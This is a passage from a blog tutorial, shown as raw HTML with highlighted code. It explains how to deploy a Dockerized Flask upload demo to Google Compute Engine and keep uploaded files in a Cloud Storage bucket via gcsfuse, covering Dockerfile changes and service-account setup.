&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The flag above tells GCE which Docker image to run within the GCE VM, using the GCR URL you created earlier.&lt;/p>
&lt;p>When the command completes, you&amp;rsquo;ll see output like the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Created [https://www.googleapis.com/compute/v1/projects/flask-upload-demo-2018-11-26/zones/us-east1-b/instances/flask-demo-app-vm].
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>NAME ZONE MACHINE_TYPE PREEMPTIBLE INTERNAL_IP EXTERNAL_IP STATUS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>flask-demo-app-vm us-east1-b n1-standard-1 10.142.0.2 35.211.106.214 RUNNING
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you type the address from &lt;code>EXTERNAL_IP&lt;/code> into your browser, it works just like the local version of the app:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 667px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/gce-app-1.png">
 &lt;img
 
 sizes="(min-width: 768px) 667px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/gce-app-1_hu_d1004baca1ed8cd1.png 300w, https://mtlynch.io/retrofit-docker-gcs/gce-app-1_hu_262565d787bbe64.png 600w, https://mtlynch.io/retrofit-docker-gcs/gce-app-1.png 667w'
 src="https://mtlynch.io/retrofit-docker-gcs/gce-app-1.png" alt="Screenshot of flask-upload-demo on GCE" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>flask-upload-demo running on GCE&lt;/p>&lt;/figcaption>
&lt;/figure>















 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 667px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/gce-app-2.png">
 &lt;img
 
 sizes="(min-width: 768px) 667px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/gce-app-2_hu_673c450cfa9c57b8.png 300w, https://mtlynch.io/retrofit-docker-gcs/gce-app-2_hu_c35b3b32d0216ee3.png 600w, https://mtlynch.io/retrofit-docker-gcs/gce-app-2.png 667w'
 src="https://mtlynch.io/retrofit-docker-gcs/gce-app-2.png" alt="Screenshot of file uploaded to flask-upload-demo on GCE" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>flask-upload-demo serving image file from GCE&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The problem is that if you kill that VM and launch a new one with the same Docker image, the file you uploaded is no longer there:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 667px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/gce-app-3.png">
 &lt;img
 
 sizes="(min-width: 768px) 667px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/gce-app-3_hu_eb2cc151bea8a1f9.png 300w, https://mtlynch.io/retrofit-docker-gcs/gce-app-3_hu_df1d3eba0e96684f.png 600w, https://mtlynch.io/retrofit-docker-gcs/gce-app-3.png 667w'
 src="https://mtlynch.io/retrofit-docker-gcs/gce-app-3.png" alt="Screenshot of 404 for previously uploaded file" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The new GCE VM can&amp;rsquo;t serve the file because it was stored on the previous VM&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This is, of course, the problem that inspired this whole tutorial. The container stores the file on its internal filesystem. When you terminate the host VM, you lose all the files.&lt;/p>
&lt;p>To address this, you need to configure the Docker container to store all persistent data in a Google Cloud Storage (GCS) bucket.&lt;/p>
&lt;h2 id="planning-a-gcs-aware-architecture">Planning a GCS-aware architecture&lt;/h2>
&lt;p>Here is the goal architecture that solves this problem:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/retrofit-docker-gcs/full-architecture.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/retrofit-docker-gcs/full-architecture_hu_4d0a266f921d99dd.jpg 300w, https://mtlynch.io/retrofit-docker-gcs/full-architecture_hu_94782c5fbf9d0bdf.jpg 600w, https://mtlynch.io/retrofit-docker-gcs/full-architecture_hu_fe43245fca188d6f.jpg 800w, https://mtlynch.io/retrofit-docker-gcs/full-architecture.jpg 1024w'
 src="https://mtlynch.io/retrofit-docker-gcs/full-architecture.jpg" alt="flask-demo-app architecture diagram" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Architecture for deploying a Flask app to Google Cloud Platform&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;ul>
&lt;li>The web browser only talks to the web server, Nginx, which acts as the orchestrator for all front-end requests.&lt;/li>
&lt;li>If the web browser requests a file, Nginx fetches it from GCS via a utility called &lt;a href="https://github.com/GoogleCloudPlatform/gcsfuse">gcsfuse&lt;/a>, which mounts GCS buckets as folders on the filesystem.&lt;/li>
&lt;li>For all other requests, Nginx forwards the request to the flask-upload-demo app.&lt;/li>
&lt;li>flask-upload-demo can write new files to GCS, also via the gcsfuse utility.&lt;/li>
&lt;/ul>
&lt;p>This architecture satisfies the goals I defined at the top of the post. Everything in the VM is disposable because GCS stores all the permanent state. All app code is in a Docker container, which makes deployments simple and atomic.&lt;/p>
&lt;h2 id="creating-a-gcs-bucket-optional">Creating a GCS bucket (optional)&lt;/h2>
&lt;p>If you don&amp;rsquo;t have a GCS bucket yet, you can create one with the following &lt;code>gcloud&lt;/code> command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">STORAGE_LOCATION&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;us-east1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GCS_BUCKET&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">-storage&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gsutil mb &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -p &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -l &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$STORAGE_LOCATION&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;gs://&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GCS_BUCKET&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Otherwise, set the &lt;code>GCS_BUCKET&lt;/code> environment variable to the name of GCS bucket.&lt;/p>
&lt;h2 id="giving-the-docker-container-access-to-gcs">Giving the Docker container access to GCS&lt;/h2>
&lt;p>You need to modify your Docker image to integrate the gcsfuse utility. Fortunately, I&amp;rsquo;ve done it for you. The complete &lt;code>Dockerfile&lt;/code> is available on the &lt;a href="https://github.com/mtlynch/docker-flask-upload-demo/blob/gcsfuse/Dockerfile">&lt;code>gcsfuse&lt;/code> branch of my GitHub repo&lt;/a>, but here are the main changes:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Install gcsfuse.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ARG &lt;span style="color:#40ffff">GCSFUSE_REPO&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;gcsfuse-stretch&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ARG &lt;span style="color:#40ffff">GCS_MOUNT_ROOT&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/mnt/gcsfuse&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN &lt;span style="color:#24909d">set&lt;/span> -x &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> apt-get install --yes --no-install-recommends &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ca-certificates &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> curl &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;deb http://packages.cloud.google.com/apt &lt;/span>&lt;span style="color:#40ffff">$GCSFUSE_REPO&lt;/span>&lt;span style="color:#ed9d13"> main&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | tee /etc/apt/sources.list.d/gcsfuse.list &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> curl https://packages.cloud.google.com/apt/doc/apt-key.gpg &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | apt-key add -
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN apt-get update
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN &lt;span style="color:#24909d">set&lt;/span> -x &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> apt-get install --yes gcsfuse &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;user_allow_other&amp;#39;&lt;/span> &amp;gt; /etc/fuse.conf &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> mkdir --parents &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCS_MOUNT_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> chown &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --no-dereference &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">APP_USER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NGINX_GROUP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCS_MOUNT_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There are two elements here worth discussing:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#39;user_allow_other&amp;#39;&lt;/span> &amp;gt; /etc/fuse.conf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The above line makes it possible to use &lt;code>gcsfuse&lt;/code>&amp;rsquo;s &lt;code>-o allow_other&lt;/code> option. This is necessary because both the app system account and the Nginx system account need access to the GCS folder. Without the &lt;code>user_allow_other&lt;/code> line in the configuration file, only a single account could access the GCS folder.&lt;/p>
&lt;div class="notice notice-warning">
 &lt;strong>Gotcha Warning&lt;/strong>: If more than one system account needs access to the GCS bucket, the &lt;code>/etc/fuse.conf&lt;/code> file must include the line &lt;code>user_allow_other&lt;/code>.
&lt;/div>

&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>mkdir --parents &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCS_MOUNT_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span>chown &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --no-dereference &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">APP_USER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">NGINX_GROUP&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCS_MOUNT_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>gcsfuse&lt;/code> requires an existing directory where the launching user has write permissions. Standard users don&amp;rsquo;t have write access to the &lt;code>/mnt&lt;/code> directory, so the &lt;code>Dockerfile&lt;/code> creates the &lt;code>/mnt/gcsfuse&lt;/code> directory as the &lt;code>root&lt;/code> user and uses &lt;code>chown&lt;/code> to assign ownership to the Nginx and demo app system accounts.&lt;/p>
&lt;p>The other interesting changes are in the &lt;code>CMD&lt;/code> portion of the &lt;code>Dockerfile&lt;/code>, which defines the container&amp;rsquo;s runtime behavior:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ENV GCS_BUCKET &lt;span style="color:#ed9d13">&amp;#34;REPLACE-WITH-YOUR-GCS-BUCKET-NAME&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ENV GCS_MOUNT_ROOT &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCS_MOUNT_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ENV APP_UPLOADS_DIR &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">APP_ROOT&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/demo/uploads&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>CMD &lt;span style="color:#24909d">set&lt;/span> -x &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo nginx &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> gcsfuse &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -o nonempty &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -o allow_other &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --implicit-dirs &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCS_BUCKET&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCS_MOUNT_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> [ ! -d &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_UPLOADS_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> ]; &lt;span style="color:#6ab825;font-weight:bold">then&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ln --symbolic &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCS_MOUNT_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_UPLOADS_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">fi&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> virtualenv VIRTUAL &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> . VIRTUAL/bin/activate &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> gunicorn &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> demo.app:app &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --bind 127.0.0.1:5000 &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --log-level info
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once again, breaking this down by interesting snippets:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>gcsfuse &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -o nonempty &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> -o allow_other &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --implicit-dirs &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCS_BUCKET&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCS_MOUNT_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As with the &lt;code>user_allow_other&lt;/code> option above, the &lt;code>-o allow_other&lt;/code> makes it possible for multiple users to access the mounted folder, as both nginx (running as the &lt;code>www-data&lt;/code> user) and the demo app (running as &lt;code>demo-user&lt;/code>) need access.&lt;/p>
&lt;div class="notice notice-warning">
 &lt;strong>Gotcha Warning&lt;/strong>: gcsfuse needs the &lt;code>-o allow_other&lt;/code> flag if multiple user accounts access files in the GCS mount.
&lt;/div>

&lt;p>Without the &lt;a href="https://github.com/GoogleCloudPlatform/gcsfuse/blob/6ab0a79f97b7481b23c3724cd0c4b323f0627d69/docs/semantics.md#implicit-directories">&lt;code>--implicit-dirs&lt;/code> flag&lt;/a>, gcsfuse cannot access files in subfolders of the GCS bucket.&lt;/p>
&lt;div class="notice notice-warning">
 &lt;strong>Gotcha Warning&lt;/strong>: gcsfuse needs the &lt;code>--implicit-dirs&lt;/code> flag if the GCS bucket contains subfolders.
&lt;/div>

&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> [ ! -d &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_UPLOADS_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> ]; &lt;span style="color:#6ab825;font-weight:bold">then&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> ln --symbolic &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$GCS_MOUNT_ROOT&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$APP_UPLOADS_DIR&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fi&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The app writes its uploaded files to the &lt;code>demo/uploads&lt;/code> directory. The above block creates a symbolic link from &lt;code>demo/uploads&lt;/code> to &lt;code>/mnt/gcsfuse&lt;/code>. This way, when the app thinks it&amp;rsquo;s writing to the &lt;code>demo/uploads&lt;/code> path, it will be writing to your GCS bucket. The &lt;code>if&lt;/code>/&lt;code>then&lt;/code> block protects it from performing this step more than once, such as when the container restarts.&lt;/p>
&lt;h2 id="creating-a-service-account-with-gcs-access">Creating a service account with GCS access&lt;/h2>
&lt;p>There&amp;rsquo;s one extra step before you deploy this image to GCE. By default, GCE instances run under the context of the standard GCE service account. That account has read-only access to GCS, so the app will fail to write new files to GCS.&lt;/p>
&lt;p>To address this, create a custom service account with the following two roles:&lt;/p>
&lt;ul>
&lt;li>&lt;code>storage.objectAdmin&lt;/code>: Allows processes in the VM to read and write objects to GCS.&lt;/li>
&lt;li>&lt;code>logging.logWriter&lt;/code>: Allows the app&amp;rsquo;s log output to appear in GCP&amp;rsquo;s logging interfaces.&lt;/li>
&lt;/ul>
&lt;div class="notice notice-warning">
 &lt;strong>Gotcha Warning&lt;/strong>: GCE instances can&amp;rsquo;t write to GCS buckets unless you launch them under a custom service account.
&lt;/div>

&lt;p>The following commands create a service account with the necessary privileges:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">SERVICE_ACCOUNT_NAME&lt;/span>=flask-demo-app-service-account
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">SERVICE_ACCOUNT_EMAIL&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SERVICE_ACCOUNT_NAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">@&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.iam.gserviceaccount.com&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gcloud iam service-accounts create &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$SERVICE_ACCOUNT_NAME&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gcloud projects add-iam-policy-binding &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --member &lt;span style="color:#ed9d13">&amp;#34;serviceAccount:&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SERVICE_ACCOUNT_EMAIL&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --role roles/storage.objectAdmin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gcloud projects add-iam-policy-binding &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$PROJECT_ID&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
